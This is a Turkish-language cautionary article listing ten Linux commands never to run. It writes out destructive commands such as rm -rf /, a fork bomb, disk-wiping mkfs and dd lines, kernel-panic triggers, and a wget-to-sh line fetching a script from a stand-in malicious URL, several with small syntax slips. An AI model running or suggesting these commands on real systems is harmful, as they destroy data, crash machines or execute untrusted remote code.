Linux’un terminal komutlarının bir yandan güçlü bir yandan da çalıştırılması kolay komutlar olduğu çoğu kişi tarafından bilinir. Bu özellik programcılara hata alma kaygısı yaşamadan komut çalıştırma gücü sağlar. En kolay Linux komutlarından biri dosya silme komutudur. Linux’un sorgusuz sualsiz istediğiniz her şeyi silebilme özelliği, özellikle de Windows’un “Bu dosya silinemez” komutundan bıkmış olanlar için bir nimettir.
Fakat esas sorun, Windows’un aksine Linux’un bir komutu yerine getirirken size bir teyit sorusu sormamasıdır. Bu Linux komutları önemli sistem dosyalarınızı silebileceği gibi, çalıştırdığınız bu komutları geri alma şansınız da yoktur.
Aşağıda asla çalıştırmamanız gereken 10 Linux komutu yer almakta.
1- rm -rf komutu
Tekrarlamalı sil komutu olarak da bilinen rm -rf komutu bir dosyayı ve içindekileri silmenin en hızlı yoludur. Fakat küçük bir daktilo hatası veya bilgisizlik sistemde telafisi imkansız zararlara yol açabilir. rm komutuyla birlikte kullanılan bazı opsiyonlar şunlardır:
– rm Linux komutu dosya silmek için kullanılır.
– rm -r komutu klasörü, hatta boş klasörleri bile tekrarlamalı olarak siler.
– rm -f komutu teyit sorusu sormadan “Salt okunur dosyaları” siler.
– rm -rf / : Kök dizindeki her şeyi siler.
– rm -rf* Mevcut/çalışan dizindeki her şeyi siler.
– rm -rf . Mevcut klasörü ve alt klasörleri siler.
Bu yüzden, rm -rf komutunu çalıştıracağınız zaman dikkatli olun. rm komutuyla yanlışlıkla dosya silmeyi önlemek için “.bashrc” dosyasının içinde “rm” komutunun diğer adı olarak “rm -i” oluşturun. Bu sayede Linux komutu çalıştırıp dosyayı silmeden önce sizden teyit isteyecektir.
2- :(){:|:&};: komutu
Bu Linux komutu aslında bir yazılım bombasıdır. “:” adında bir fonksiyon tanımlayarak çalışır ve biri ön planda, biri arka planda olmak üzere kendini iki kez çağırır. Sistem donana kadar arka arkaya çalışır.
Bu yazılım bombası komutu, çalıştırıldığında kendini arka arkaya iki kez çağıran “:” adında bir fonksiyon tanımlar. Bu tekrarlamalı çağrıların biri arka planda, biri ön planda olur. Diğer bir deyişle, bu fonksiyon çalıştığında iki süreç doğurur. Bu işlem sonsuz bir döngüye girer. Bu döngüden çıkmanın tek yolu sistemi kapatıp yeniden açmaktır.
3- Hard Diski Formatla
Bu terminal Linux komutu özellikle Linux kullanmaya yeni başlayanlar için tehlikelidir çünkü yanlışlıkla hard diski silmek için birkaç ortam oluşturur. Tekrarlamalı silme büyük bir yanlıştır ama şöyle bir şey de bulunmaktadır:
mkfs.ext3/dev/hda
Bu Linux komutu ext3 dosya sistemini kullanmak üzere hard diski formatlar. Yukarıdaki komut “sda”’yı tamamen formatlar. Dolayısıyla bu komutu çalıştırdığınızda yepyeni bir hard diskiniz olur. Geride hiçbir veri bırakmadan, sisteminizi telafi edilemez bir duruma sokar.
4- Hard Diskin Üzerine Yaz
Bilgisayarınızda uzun süre emek verdiğiniz bir işiniz varsa bu komutu asla kullanmayın. Hard diski formatlamak en azından gerçek hayatta kullanılabilecek bir işlemdir. Buysa hiç hoş bir durum değildir.
command > /dev/hda
Yukarıdaki komutta “command”in yerini herhangi bir Bash komutu alabilir. > operatörü solundaki komutu sağındaki dosyaya yönlendirir. Bu durumda sol taraftaki komutun ne olduğunun bir önemi kalmaz. O ham veri yönlendirilir ve sistem hard diskinin üzerine yazmak için kullanılır. Bu da Linux PC’nizi veya laptopunuzu kullanılmaz hale getirir.
5- Hard Diski Sil
Bu komut hard diskinizi tamamen siler. Bozuk verileri silme veya üzerine yazma değil, hard diskinizi gerçek anlamıyla sıfırlarla doldurur. Her ne kadar bu komut sisteminizi baştan kurmak istiyorsanız gerekli olabilir ama hard diski silmek de pek iyi bir fikir değildir.
dd if=/dev/zero of=/dev/hda
Buradaki dd komutu çoğunlukla veriyi fiziksel disklere yazmak için kullanılan düşük seviyeli bir talimattır. if parametresi de verinin kaynağını belirler. Buradaki örnekte verilen /dev/zero ise sonsuz bir sıfır akışı oluşturan özel bir Linux komutudur. of parametresi bu sıfırların gideceği yeri belirler. Bu da /dev/hda diskidir.
6- >file komutu
Bu komut bir dosyanın içindekileri silmek için kullanılır. Eğer bu komut yanlışlıkla veya bilgisizlik sonucu “>xt.conf” olarak çalıştırılırsa konfigürasyon dosyası veya herhangi başka bir sistem veya konfigürasyon dosyası silinir ve bilgisayarınız tamamen çöker.
7- Hard Diski Çöpe At
Bazı özel nedenlerden ötürü Linux’ta üzerine yazılı olan tüm verileri çöpe atan /dev/null adında bir dosya vardır. Bunu bir kara delik veya kağıt öğütücüsü olarak düşünebilirsiniz. Bu dosyaya atılan her şey kalıcı olarak silinir. /dev/null ile çalıştırılan tüm komutlar o veri dosyasını yok eder. Fakat /dev/null komutunu başka komutlarla birlikte kullanırsanız sonuçları sizin için felaket olabilir.
mv//dev/null
Bu komut sistemin kök dizini olan “/” i /dev/null kara deliğine taşımaya çalışır. Bu geçerli bir komuttur ama sonucu yıkıcıdır. Hard disk bu kara delik tarafından yutulur ve geriye bir şey kalmaz. Bunu yaparsanız sisteminiz kullanılmaz hale gelir.
8- ^foo^bar
Bu Linux komutu bir önceki çalıştırma komutunu, komutu bir daha yazmaya gerek kalmadan editlemek için kullanılır. Fakat orijinal komutta yapılan değişikliği ^foo^bar komutunu kullanarak dikkatli bir şekilde kontrol etmezseniz, sonuçları çok can sıkıcı olabilir.
9- Kernel Paniğine Neden Ol
Windows’un o meşhur mavi ekranı varsa, Linux’un da Kernel Panic adı verilen benzer bir mavi ekranı vardır. Bazen düzeltilmesi mümkün olmayan bir sistem hatası oluşur, bu yüzden mavi ekrana benzer bir ekran belirir: Kernel paniği.
dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem
Yukarıdaki bu komutlar önemli değil. Önemli olan şey bu komutlardan herhangi birinin çalışmasının kernel paniğine neden olacağı ve sizi sisteminizi kapatıp açmaya mecbur bırakacağı. Eğer yaptığınız şeyden kesinkes emin değilseniz bu komutlardan uzak durmakta fayda var.
10- Karşıdaki Komut Dosyasını Çalıştır
Bu da aslında gündelik kullanımda faydalı olabilecek bir Linux komutu. wget bir web URL’sindeki içeriği çağırır, bu da web sitelerine erişmek veya dosya indirmek için kullanılır. Ancak, bu komutu tehlikeli hale getiren basit bir numara vardır:
wget http://güvenilmeyen-bir-url -O- | sh
wget htto://kötü_amaçlı_kaynak -O- | sh komutu kötü amaçlı bir kaynaktaki komut dosyasını indirir ve çalıştırır. Wget komutu bu komut dosyasını indirir, sh komutu ise çalıştırır. Eğer buradaki URL kötü amaçlı bir komut dosyasına gönderiyorsa bu komut vasıtasıyla kendi sonunuzu hazırlamış olursunuz.